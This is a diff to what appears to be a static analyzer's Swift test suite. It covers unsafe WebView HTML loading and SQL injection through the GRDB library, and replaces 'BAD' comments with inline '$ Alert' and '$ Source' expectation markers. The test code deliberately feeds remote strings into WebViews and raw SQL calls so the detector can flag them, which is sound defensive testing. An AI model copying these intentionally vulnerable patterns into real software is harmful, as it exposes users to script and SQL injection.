UnsafeWebViewFetch.swift:154:15:154:15 | remoteData | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:154:15:154:15 | remoteData | Tainted data is used in a WebView fetch with a tainted base URL. | +| UnsafeWebViewFetch.swift:167:25:167:39 | call to getRemoteData() | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:167:25:167:39 | call to getRemoteData() | Tainted data is used in a WebView fetch without restricting the base URL. | +| UnsafeWebViewFetch.swift:168:25:168:25 | remoteString | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:168:25:168:25 | remoteString | Tainted data is used in a WebView fetch without restricting the base URL. | +| UnsafeWebViewFetch.swift:171:25:171:51 | ... .+(_:_:) ... | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:171:25:171:51 | ... .+(_:_:) ... | Tainted data is used in a WebView fetch without restricting the base URL. | +| UnsafeWebViewFetch.swift:174:25:174:25 | "..." | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:174:25:174:25 | "..." | Tainted data is used in a WebView fetch without restricting the base URL. | +| UnsafeWebViewFetch.swift:186:25:186:25 | remoteString | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:186:25:186:25 | remoteString | Tainted data is used in a WebView fetch with a tainted base URL. | +| UnsafeWebViewFetch.swift:188:25:188:25 | remoteString | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:188:25:188:25 | remoteString | Tainted data is used in a WebView fetch with a tainted base URL. | +| UnsafeWebViewFetch.swift:201:15:201:15 | remoteData | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:201:15:201:15 | remoteData | Tainted data is used in a WebView fetch with a tainted base URL. | +| UnsafeWebViewFetch.swift:210:25:210:25 | htmlData | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:210:25:210:25 | htmlData | Tainted data is used in a WebView fetch without restricting the base URL. | edges | UnsafeWebViewFetch.swift:94:10:94:37 | try ... | UnsafeWebViewFetch.swift:117:21:117:35 | call to getRemoteData() | provenance | | | UnsafeWebViewFetch.swift:94:10:94:37 | try ... | UnsafeWebViewFetch.swift:120:25:120:39 | call to getRemoteData() | provenance | | @@ -135,22 +154,3 @@ nodes | UnsafeWebViewFetch.swift:210:25:210:25 | htmlData | semmle.label | htmlData | | UnsafeWebViewFetch.swift:211:25:211:25 | htmlData | semmle.label | htmlData | subpaths -#select -| UnsafeWebViewFetch.swift:103:25:103:84 | try! ... | UnsafeWebViewFetch.swift:103:30:103:84 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:103:25:103:84 | try! ... | Tainted data is used in a WebView fetch without restricting the base URL. | -| UnsafeWebViewFetch.swift:106:25:106:25 | data | UnsafeWebViewFetch.swift:105:18:105:72 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:106:25:106:25 | data | Tainted data is used in a WebView fetch without restricting the base URL. | -| UnsafeWebViewFetch.swift:109:25:109:53 | try! ... | UnsafeWebViewFetch.swift:109:30:109:53 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:109:25:109:53 | try! ... | Tainted data is used in a WebView fetch without restricting the base URL. | -| UnsafeWebViewFetch.swift:120:25:120:39 | call to getRemoteData() | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:120:25:120:39 | call to getRemoteData() | Tainted data is used in a WebView fetch without restricting the base URL. | -| UnsafeWebViewFetch.swift:121:25:121:25 | remoteString | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:121:25:121:25 | remoteString | Tainted data is used in a WebView fetch without restricting the base URL. | -| UnsafeWebViewFetch.swift:124:25:124:51 | ... .+(_:_:) ... | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:124:25:124:51 | ... .+(_:_:) ... | Tainted data is used in a WebView fetch without restricting the base URL. | -| UnsafeWebViewFetch.swift:127:25:127:25 | "..." | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:127:25:127:25 | "..." | Tainted data is used in a WebView fetch without restricting the base URL. | -| UnsafeWebViewFetch.swift:139:25:139:25 | remoteString | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:139:25:139:25 | remoteString | Tainted data is used in a WebView fetch with a tainted base URL. | -| UnsafeWebViewFetch.swift:141:25:141:25 | remoteString | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:141:25:141:25 | remoteString | Tainted data is used in a WebView fetch with a tainted base URL. | -| UnsafeWebViewFetch.swift:154:15:154:15 | remoteData | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:154:15:154:15 | remoteData | Tainted data is used in a WebView fetch with a tainted base URL. | -| UnsafeWebViewFetch.swift:167:25:167:39 | call to getRemoteData() | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:167:25:167:39 | call to getRemoteData() | Tainted data is used in a WebView fetch without restricting the base URL. | -| UnsafeWebViewFetch.swift:168:25:168:25 | remoteString | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:168:25:168:25 | remoteString | Tainted data is used in a WebView fetch without restricting the base URL. | -| UnsafeWebViewFetch.swift:171:25:171:51 | ... .+(_:_:) ... | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:171:25:171:51 | ... .+(_:_:) ... | Tainted data is used in a WebView fetch without restricting the base URL. | -| UnsafeWebViewFetch.swift:174:25:174:25 | "..." | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:174:25:174:25 | "..." | Tainted data is used in a WebView fetch without restricting the base URL. | -| UnsafeWebViewFetch.swift:186:25:186:25 | remoteString | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:186:25:186:25 | remoteString | Tainted data is used in a WebView fetch with a tainted base URL. | -| UnsafeWebViewFetch.swift:188:25:188:25 | remoteString | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:188:25:188:25 | remoteString | Tainted data is used in a WebView fetch with a tainted base URL. | -| UnsafeWebViewFetch.swift:201:15:201:15 | remoteData | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:201:15:201:15 | remoteData | Tainted data is used in a WebView fetch with a tainted base URL. | -| UnsafeWebViewFetch.swift:210:25:210:25 | htmlData | UnsafeWebViewFetch.swift:94:14:94:37 | call to String.init(contentsOf:) | UnsafeWebViewFetch.swift:210:25:210:25 | htmlData | Tainted data is used in a WebView fetch without restricting the base URL. | diff --git a/swift/ql/test/query-tests/Security/CWE-079/UnsafeWebViewFetch.qlref b/swift/ql/test/query-tests/Security/CWE-079/UnsafeWebViewFetch.qlref index a5c8cb457a0..18d2fc0a49d 100644 --- a/swift/ql/test/query-tests/Security/CWE-079/UnsafeWebViewFetch.qlref +++ b/swift/ql/test/query-tests/Security/CWE-079/UnsafeWebViewFetch.qlref @@ -1 +1,2 @@ -queries/Security/CWE-079/UnsafeWebViewFetch.ql \ No newline at end of file +query: queries/Security/CWE-079/UnsafeWebViewFetch.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-079/UnsafeWebViewFetch.swift b/swift/ql/test/query-tests/Security/CWE-079/UnsafeWebViewFetch.swift index 1b687ade014..cba21bcc455 100644 --- a/swift/ql/test/query-tests/Security/CWE-079/UnsafeWebViewFetch.swift +++ b/swift/ql/test/query-tests/Security/CWE-079/UnsafeWebViewFetch.swift @@ -91,7 +91,7 @@ func getRemoteData() -> String { let url = URL(string: "http://example.com/") do { - return try String(contentsOf: url!) + return try String(contentsOf: url!) // $ Source } catch { return "" } @@ -100,13 +100,13 @@ func getRemoteData() -> String { func testSimpleFlows() { let webview = UIWebView() - webview.loadHTMLString(try! String(contentsOf: URL(string: "http://example.com/")!), baseURL: nil) // BAD + webview.loadHTMLString(try! String(contentsOf: URL(string: "http://example.com/")!), baseURL: nil) // $ Alert - let data = try! String(contentsOf: URL(string: "http://example.com/")!) - webview.loadHTMLString(data, baseURL: nil) // BAD + let data = try! String(contentsOf: URL(string: "http://example.com/")!) // $ Source + webview.loadHTMLString(data, baseURL: nil) // $ Alert let url = URL(string: "http://example.com/") - webview.loadHTMLString(try! String(contentsOf: url!), baseURL: nil) // BAD + webview.loadHTMLString(try! String(contentsOf: url!), baseURL: nil) // $ Alert } func testUIWebView() { @@ -117,14 +117,14 @@ func testUIWebView() { let remoteString = getRemoteData() webview.loadHTMLString(localString, baseURL: nil) // GOOD: the HTML data is local - webview.loadHTMLString(getRemoteData(), baseURL: nil) // BAD: HTML contains remote input, may access local secrets - webview.loadHTMLString(remoteString, baseURL: nil) // BAD + webview.loadHTMLString(getRemoteData(), baseURL: nil) // $ Alert // BAD: HTML contains remote input, may access local secrets + webview.loadHTMLString(remoteString, baseURL: nil) // $ Alert webview.loadHTMLString("" + localStringFragment + "", baseURL: nil) // GOOD: the HTML data is local - webview.loadHTMLString("" + remoteString + "", baseURL: nil) // BAD + webview.loadHTMLString("" + remoteString + "", baseURL: nil) // $ Alert webview.loadHTMLString("\(localStringFragment)", baseURL: nil) // GOOD: the HTML data is local - webview.loadHTMLString("\(remoteString)", baseURL: nil) // BAD + webview.loadHTMLString("\(remoteString)", baseURL: nil) // $ Alert let localSafeURL = URL(string: "about:blank") let localURL = URL(string: "http://example.com/") @@ -136,9 +136,9 @@ func testUIWebView() { webview.loadHTMLString(localString, baseURL: localURL!) // GOOD: a presumed safe baseURL is specified webview.loadHTMLString(remoteString, baseURL: localURL!) // GOOD: a presumed safe baseURL is specified webview.loadHTMLString(localString, baseURL: remoteURL!) // GOOD: the HTML data is local - webview.loadHTMLString(remoteString, baseURL: remoteURL!) // BAD + webview.loadHTMLString(remoteString, baseURL: remoteURL!) // $ Alert webview.loadHTMLString(localString, baseURL: remoteURL2!) // GOOD: the HTML data is local - webview.loadHTMLString(remoteString, baseURL: remoteURL2!) // BAD + webview.loadHTMLString(remoteString, baseURL: remoteURL2!) // $ Alert let localRequest = URLRequest(url: localURL!) let remoteRequest = URLRequest(url: remoteURL!) @@ -151,7 +151,7 @@ func testUIWebView() { webview.load(localData, mimeType: "text/html", textEncodingName: "utf-8", baseURL: localSafeURL!) // GOOD: the data is local webview.load(remoteData, mimeType: "text/html", textEncodingName: "utf-8", baseURL: localSafeURL!) // GOOD: a safe baseURL is specified webview.load(localData, mimeType: "text/html", textEncodingName: "utf-8", baseURL: remoteURL!) // GOOD: the HTML data is local - webview.load(remoteData, mimeType: "text/html", textEncodingName: "utf-8", baseURL: remoteURL!) // BAD + webview.load(remoteData, mimeType: "text/html", textEncodingName: "utf-8", baseURL: remoteURL!) // $ Alert } func testWKWebView() { @@ -164,14 +164,14 @@ func testWKWebView() { let remoteString = getRemoteData() webview.loadHTMLString(localString, baseURL: nil) // GOOD: the HTML data is local - webview.loadHTMLString(getRemoteData(), baseURL: nil) // BAD - webview.loadHTMLString(remoteString, baseURL: nil) // BAD + webview.loadHTMLString(getRemoteData(), baseURL: nil) // $ Alert + webview.loadHTMLString(remoteString, baseURL: nil) // $ Alert webview.loadHTMLString("" + localStringFragment + "", baseURL: nil) // GOOD: the HTML data is local - webview.loadHTMLString("" + remoteString + "", baseURL: nil) // BAD + webview.loadHTMLString("" + remoteString + "", baseURL: nil) // $ Alert webview.loadHTMLString("\(localStringFragment)", baseURL: nil) // GOOD: the HTML data is local - webview.loadHTMLString("\(remoteString)", baseURL: nil) // BAD + webview.loadHTMLString("\(remoteString)", baseURL: nil) // $ Alert let localSafeURL = URL(string: "about:blank") let localURL = URL(string: "http://example.com/") @@ -183,9 +183,9 @@ func testWKWebView() { webview.loadHTMLString(localString, baseURL: localURL!) // GOOD: a presumed safe baseURL is specified webview.loadHTMLString(remoteString, baseURL: localURL!) // GOOD: a presumed safe baseURL is specified webview.loadHTMLString(localString, baseURL: remoteURL!) // GOOD: the HTML data is local - webview.loadHTMLString(remoteString, baseURL: remoteURL!) // BAD + webview.loadHTMLString(remoteString, baseURL: remoteURL!) // $ Alert webview.loadHTMLString(localString, baseURL: remoteURL2!) // GOOD: the HTML data is local - webview.loadHTMLString(remoteString, baseURL: remoteURL2!) // BAD + webview.loadHTMLString(remoteString, baseURL: remoteURL2!) // $ Alert let localRequest = URLRequest(url: localURL!) let remoteRequest = URLRequest(url: remoteURL!) @@ -198,7 +198,7 @@ func testWKWebView() { webview.load(localData, mimeType: "text/html", characterEncodingName: "utf-8", baseURL: localSafeURL!) // GOOD: the data is local webview.load(remoteData, mimeType: "text/html", characterEncodingName: "utf-8", baseURL: localSafeURL!) // GOOD: a safe baseURL is specified webview.load(localData, mimeType: "text/html", characterEncodingName: "utf-8", baseURL: remoteURL!) // GOOD: the HTML data is local - webview.load(remoteData, mimeType: "text/html", characterEncodingName: "utf-8", baseURL: remoteURL!) // BAD + webview.load(remoteData, mimeType: "text/html", characterEncodingName: "utf-8", baseURL: remoteURL!) // $ Alert } func testQHelpExamples() { @@ -207,7 +207,7 @@ func testQHelpExamples() { // ... - webview.loadHTMLString(htmlData, baseURL: nil) // BAD + webview.loadHTMLString(htmlData, baseURL: nil) // $ Alert webview.loadHTMLString(htmlData, baseURL: URL(string: "about:blank")) // GOOD } diff --git a/swift/ql/test/query-tests/Security/CWE-089/GRDB.swift b/swift/ql/test/query-tests/Security/CWE-089/GRDB.swift index b0319c84eb5..3bdffaa272b 100644 --- a/swift/ql/test/query-tests/Security/CWE-089/GRDB.swift +++ b/swift/ql/test/query-tests/Security/CWE-089/GRDB.swift @@ -101,54 +101,54 @@ class CommonTableExpression { func test(database: Database) throws { let localString = "user" - let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) + let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) // $ Source - let _ = database.allStatements(sql: remoteString) // BAD + let _ = database.allStatements(sql: remoteString) // $ Alert let _ = database.allStatements(sql: localString) // GOOD - let _ = database.allStatements(sql: remoteString, arguments: nil) // BAD + let _ = database.allStatements(sql: remoteString, arguments: nil) // $ Alert let _ = database.allStatements(sql: localString, arguments: nil) // GOOD - let _ = database.cachedStatement(sql: remoteString) // BAD + let _ = database.cachedStatement(sql: remoteString) // $ Alert let _ = database.cachedStatement(sql: localString) // GOOD - let _ = database.internalCachedStatement(sql: remoteString) // BAD + let _ = database.internalCachedStatement(sql: remoteString) // $ Alert let _ = database.internalCachedStatement(sql: localString) // GOOD - database.execute(sql: remoteString) // BAD + database.execute(sql: remoteString) // $ Alert database.execute(sql: localString) // GOOD - database.execute(sql: remoteString, arguments: StatementArguments()) // BAD + database.execute(sql: remoteString, arguments: StatementArguments()) // $ Alert database.execute(sql: localString, arguments: StatementArguments()) // GOOD - let _ = database.makeStatement(sql: remoteString) // BAD + let _ = database.makeStatement(sql: remoteString) // $ Alert let _ = database.makeStatement(sql: localString) // GOOD - let _ = database.makeStatement(sql: remoteString, prepFlags: 0) // BAD + let _ = database.makeStatement(sql: remoteString, prepFlags: 0) // $ Alert let _ = database.makeStatement(sql: localString, prepFlags: 0) // GOOD } func testSqlRequest() throws { let localString = "user" - let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) + let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) // $ Source - let _ = SQLRequest(stringLiteral: remoteString) // BAD + let _ = SQLRequest(stringLiteral: remoteString) // $ Alert let _ = SQLRequest(stringLiteral: localString) // GOOD - let _ = SQLRequest(unicodeScalarLiteral: remoteString) // BAD + let _ = SQLRequest(unicodeScalarLiteral: remoteString) // $ Alert let _ = SQLRequest(unicodeScalarLiteral: localString) // GOOD - let _ = SQLRequest(extendedGraphemeClusterLiteral: remoteString) // BAD + let _ = SQLRequest(extendedGraphemeClusterLiteral: remoteString) // $ Alert let _ = SQLRequest(extendedGraphemeClusterLiteral: localString) // GOOD - let _ = SQLRequest(stringInterpolation: remoteString) // BAD + let _ = SQLRequest(stringInterpolation: remoteString) // $ Alert let _ = SQLRequest(stringInterpolation: localString) // GOOD - let _ = SQLRequest(sql: remoteString) // BAD - let _ = SQLRequest(sql: remoteString, arguments: StatementArguments()) // BAD - let _ = SQLRequest(sql: remoteString, arguments: StatementArguments(), adapter: nil) // BAD - let _ = SQLRequest(sql: remoteString, arguments: StatementArguments(), cached: false) // BAD - let _ = SQLRequest(sql: remoteString, arguments: StatementArguments(), adapter: nil, cached: false) // BAD - let _ = SQLRequest(sql: remoteString, adapter: nil) // BAD - let _ = SQLRequest(sql: remoteString, adapter: nil, cached: false) // BAD - let _ = SQLRequest(sql: remoteString, cached: false) // BAD + let _ = SQLRequest(sql: remoteString) // $ Alert + let _ = SQLRequest(sql: remoteString, arguments: StatementArguments()) // $ Alert + let _ = SQLRequest(sql: remoteString, arguments: StatementArguments(), adapter: nil) // $ Alert + let _ = SQLRequest(sql: remoteString, arguments: StatementArguments(), cached: false) // $ Alert + let _ = SQLRequest(sql: remoteString, arguments: StatementArguments(), adapter: nil, cached: false) // $ Alert + let _ = SQLRequest(sql: remoteString, adapter: nil) // $ Alert + let _ = SQLRequest(sql: remoteString, adapter: nil, cached: false) // $ Alert + let _ = SQLRequest(sql: remoteString, cached: false) // $ Alert let _ = SQLRequest(sql: localString) // GOOD let _ = SQLRequest(sql: localString, arguments: StatementArguments()) // GOOD let _ = SQLRequest(sql: localString, arguments: StatementArguments(), adapter: nil) // GOOD @@ -161,15 +161,15 @@ func testSqlRequest() throws { func testSql() throws { let localString = "user" - let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) + let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) // $ Source - let _ = SQL(stringLiteral: remoteString) // BAD - let _ = SQL(unicodeScalarLiteral: remoteString) // BAD - let _ = SQL(extendedGraphemeClusterLiteral: remoteString) // BAD - let _ = SQL(stringInterpolation: remoteString) // BAD - let _ = SQL(sql: remoteString) // BAD + let _ = SQL(stringLiteral: remoteString) // $ Alert + let _ = SQL(unicodeScalarLiteral: remoteString) // $ Alert + let _ = SQL(extendedGraphemeClusterLiteral: remoteString) // $ Alert + let _ = SQL(stringInterpolation: remoteString) // $ Alert + let _ = SQL(sql: remoteString) // $ Alert let sql1 = SQL(stringLiteral: "") - sql1.append(sql: remoteString) // BAD + sql1.append(sql: remoteString) // $ Alert let _ = SQL(stringLiteral: localString) // GOOD let _ = SQL(unicodeScalarLiteral: localString) // GOOD @@ -182,34 +182,34 @@ func testSql() throws { func test(tableDefinition: TableDefinition) throws { let localString = "user" - let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) + let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) // $ Source - tableDefinition.column(sql: remoteString) // BAD + tableDefinition.column(sql: remoteString) // $ Alert tableDefinition.column(sql: localString) // GOOD - tableDefinition.check(sql: remoteString) // BAD + tableDefinition.check(sql: remoteString) // $ Alert tableDefinition.check(sql: localString) // GOOD - tableDefinition.constraint(sql: remoteString) // BAD + tableDefinition.constraint(sql: remoteString) // $ Alert tableDefinition.constraint(sql: localString) // GOOD } func test(tableAlteration: TableAlteration) throws { let localString = "user" - let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) + let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) // $ Source - tableAlteration.addColumn(sql: remoteString) // BAD + tableAlteration.addColumn(sql: remoteString) // $ Alert tableAlteration.addColumn(sql: localString) // GOOD } func test(columnDefinition: ColumnDefinition) throws { let localString = "user" - let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) + let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) // $ Source - let _ = columnDefinition.check(sql: remoteString) // BAD - let _ = columnDefinition.defaults(sql: remoteString) // BAD - let _ = columnDefinition.generatedAs(sql: remoteString) // BAD - let _ = columnDefinition.generatedAs(sql: remoteString, .virtual) // BAD + let _ = columnDefinition.check(sql: remoteString) // $ Alert + let _ = columnDefinition.defaults(sql: remoteString) // $ Alert + let _ = columnDefinition.generatedAs(sql: remoteString) // $ Alert + let _ = columnDefinition.generatedAs(sql: remoteString, .virtual) // $ Alert let _ = columnDefinition.check(sql: localString) // GOOD let _ = columnDefinition.defaults(sql: localString) // GOOD @@ -219,67 +219,67 @@ func test(columnDefinition: ColumnDefinition) throws { func testTableRecord() throws { let localString = "user" - let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) + let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) // $ Source - let _ = TableRecord.select(sql: remoteString) // BAD - let _ = TableRecord.select(sql: remoteString, arguments: StatementArguments()) // BAD + let _ = TableRecord.select(sql: remoteString) // $ Alert + let _ = TableRecord.select(sql: remoteString, arguments: StatementArguments()) // $ Alert let _ = TableRecord.select(sql: localString) // GOOD let _ = TableRecord.select(sql: localString, arguments: StatementArguments()) // GOOD - let _ = TableRecord.filter(sql: remoteString) // BAD - let _ = TableRecord.filter(sql: remoteString, arguments: StatementArguments()) // BAD + let _ = TableRecord.filter(sql: remoteString) // $ Alert + let _ = TableRecord.filter(sql: remoteString, arguments: StatementArguments()) // $ Alert let _ = TableRecord.filter(sql: localString) // GOOD let _ = TableRecord.filter(sql: localString, arguments: StatementArguments()) // GOOD - let _ = TableRecord.order(sql: remoteString) // BAD - let _ = TableRecord.order(sql: remoteString, arguments: StatementArguments()) // BAD + let _ = TableRecord.order(sql: remoteString) // $ Alert + let _ = TableRecord.order(sql: remoteString, arguments: StatementArguments()) // $ Alert let _ = TableRecord.order(sql: localString) // GOOD let _ = TableRecord.order(sql: localString, arguments: StatementArguments()) // GOOD } func test(statementCache: StatementCache) throws { let localString = "user" - let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) + let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) // $ Source - let _ = statementCache.statement(remoteString) // BAD + let _ = statementCache.statement(remoteString) // $ Alert let _ = statementCache.statement(localString) // GOOD } func test(row: Row, stmt: Statement) throws { let localString = "user" - let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) + let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) // $ Source - row.fetchCursor(stmt, sql: remoteString) // BAD - row.fetchCursor(stmt, sql: remoteString, arguments: StatementArguments()) // BAD - row.fetchCursor(stmt, sql: remoteString, adapter: nil) // BAD - row.fetchCursor(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // BAD + row.fetchCursor(stmt, sql: remoteString) // $ Alert + row.fetchCursor(stmt, sql: remoteString, arguments: StatementArguments()) // $ Alert + row.fetchCursor(stmt, sql: remoteString, adapter: nil) // $ Alert + row.fetchCursor(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // $ Alert row.fetchCursor(stmt, sql: localString) // GOOD row.fetchCursor(stmt, sql: localString, arguments: StatementArguments()) // GOOD row.fetchCursor(stmt, sql: localString, adapter: nil) // GOOD row.fetchCursor(stmt, sql: localString, arguments: StatementArguments(), adapter: nil) // GOOD - row.fetchAll(stmt, sql: remoteString) // BAD - row.fetchAll(stmt, sql: remoteString, arguments: StatementArguments()) // BAD - row.fetchAll(stmt, sql: remoteString, adapter: nil) // BAD - row.fetchAll(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // BAD + row.fetchAll(stmt, sql: remoteString) // $ Alert + row.fetchAll(stmt, sql: remoteString, arguments: StatementArguments()) // $ Alert + row.fetchAll(stmt, sql: remoteString, adapter: nil) // $ Alert + row.fetchAll(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // $ Alert row.fetchAll(stmt, sql: localString) // GOOD row.fetchAll(stmt, sql: localString, arguments: StatementArguments()) // GOOD row.fetchAll(stmt, sql: localString, adapter: nil) // GOOD row.fetchAll(stmt, sql: localString, arguments: StatementArguments(), adapter: nil) // GOOD - row.fetchOne(stmt, sql: remoteString) // BAD - row.fetchOne(stmt, sql: remoteString, arguments: StatementArguments()) // BAD - row.fetchOne(stmt, sql: remoteString, adapter: nil) // BAD - row.fetchOne(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // BAD + row.fetchOne(stmt, sql: remoteString) // $ Alert + row.fetchOne(stmt, sql: remoteString, arguments: StatementArguments()) // $ Alert + row.fetchOne(stmt, sql: remoteString, adapter: nil) // $ Alert + row.fetchOne(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // $ Alert row.fetchOne(stmt, sql: localString) // GOOD row.fetchOne(stmt, sql: localString, arguments: StatementArguments()) // GOOD row.fetchOne(stmt, sql: localString, adapter: nil) // GOOD row.fetchOne(stmt, sql: localString, arguments: StatementArguments(), adapter: nil) // GOOD - row.fetchSet(stmt, sql: remoteString) // BAD - row.fetchSet(stmt, sql: remoteString, arguments: StatementArguments()) // BAD - row.fetchSet(stmt, sql: remoteString, adapter: nil) // BAD - row.fetchSet(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // BAD + row.fetchSet(stmt, sql: remoteString) // $ Alert + row.fetchSet(stmt, sql: remoteString, arguments: StatementArguments()) // $ Alert + row.fetchSet(stmt, sql: remoteString, adapter: nil) // $ Alert + row.fetchSet(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // $ Alert row.fetchSet(stmt, sql: localString) // GOOD row.fetchSet(stmt, sql: localString, arguments: StatementArguments()) // GOOD row.fetchSet(stmt, sql: localString, adapter: nil) // GOOD @@ -288,39 +288,39 @@ func test(row: Row, stmt: Statement) throws { func test(databaseValueConvertible: DatabaseValueConvertible, stmt: Statement) throws { let localString = "user" - let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) + let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) // $ Source - databaseValueConvertible.fetchCursor(stmt, sql: remoteString) // BAD - databaseValueConvertible.fetchCursor(stmt, sql: remoteString, arguments: StatementArguments()) // BAD - databaseValueConvertible.fetchCursor(stmt, sql: remoteString, adapter: nil) // BAD - databaseValueConvertible.fetchCursor(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // BAD + databaseValueConvertible.fetchCursor(stmt, sql: remoteString) // $ Alert + databaseValueConvertible.fetchCursor(stmt, sql: remoteString, arguments: StatementArguments()) // $ Alert + databaseValueConvertible.fetchCursor(stmt, sql: remoteString, adapter: nil) // $ Alert + databaseValueConvertible.fetchCursor(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // $ Alert databaseValueConvertible.fetchCursor(stmt, sql: localString) // GOOD databaseValueConvertible.fetchCursor(stmt, sql: localString, arguments: StatementArguments()) // GOOD databaseValueConvertible.fetchCursor(stmt, sql: localString, adapter: nil) // GOOD databaseValueConvertible.fetchCursor(stmt, sql: localString, arguments: StatementArguments(), adapter: nil) // GOOD - databaseValueConvertible.fetchAll(stmt, sql: remoteString) // BAD - databaseValueConvertible.fetchAll(stmt, sql: remoteString, arguments: StatementArguments()) // BAD - databaseValueConvertible.fetchAll(stmt, sql: remoteString, adapter: nil) // BAD - databaseValueConvertible.fetchAll(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // BAD + databaseValueConvertible.fetchAll(stmt, sql: remoteString) // $ Alert + databaseValueConvertible.fetchAll(stmt, sql: remoteString, arguments: StatementArguments()) // $ Alert + databaseValueConvertible.fetchAll(stmt, sql: remoteString, adapter: nil) // $ Alert + databaseValueConvertible.fetchAll(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // $ Alert databaseValueConvertible.fetchAll(stmt, sql: localString) // GOOD databaseValueConvertible.fetchAll(stmt, sql: localString, arguments: StatementArguments()) // GOOD databaseValueConvertible.fetchAll(stmt, sql: localString, adapter: nil) // GOOD databaseValueConvertible.fetchAll(stmt, sql: localString, arguments: StatementArguments(), adapter: nil) // GOOD - databaseValueConvertible.fetchOne(stmt, sql: remoteString) // BAD - databaseValueConvertible.fetchOne(stmt, sql: remoteString, arguments: StatementArguments()) // BAD - databaseValueConvertible.fetchOne(stmt, sql: remoteString, adapter: nil) // BAD - databaseValueConvertible.fetchOne(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // BAD + databaseValueConvertible.fetchOne(stmt, sql: remoteString) // $ Alert + databaseValueConvertible.fetchOne(stmt, sql: remoteString, arguments: StatementArguments()) // $ Alert + databaseValueConvertible.fetchOne(stmt, sql: remoteString, adapter: nil) // $ Alert + databaseValueConvertible.fetchOne(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // $ Alert databaseValueConvertible.fetchOne(stmt, sql: localString) // GOOD databaseValueConvertible.fetchOne(stmt, sql: localString, arguments: StatementArguments()) // GOOD databaseValueConvertible.fetchOne(stmt, sql: localString, adapter: nil) // GOOD databaseValueConvertible.fetchOne(stmt, sql: localString, arguments: StatementArguments(), adapter: nil) // GOOD - databaseValueConvertible.fetchSet(stmt, sql: remoteString) // BAD - databaseValueConvertible.fetchSet(stmt, sql: remoteString, arguments: StatementArguments()) // BAD - databaseValueConvertible.fetchSet(stmt, sql: remoteString, adapter: nil) // BAD - databaseValueConvertible.fetchSet(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // BAD + 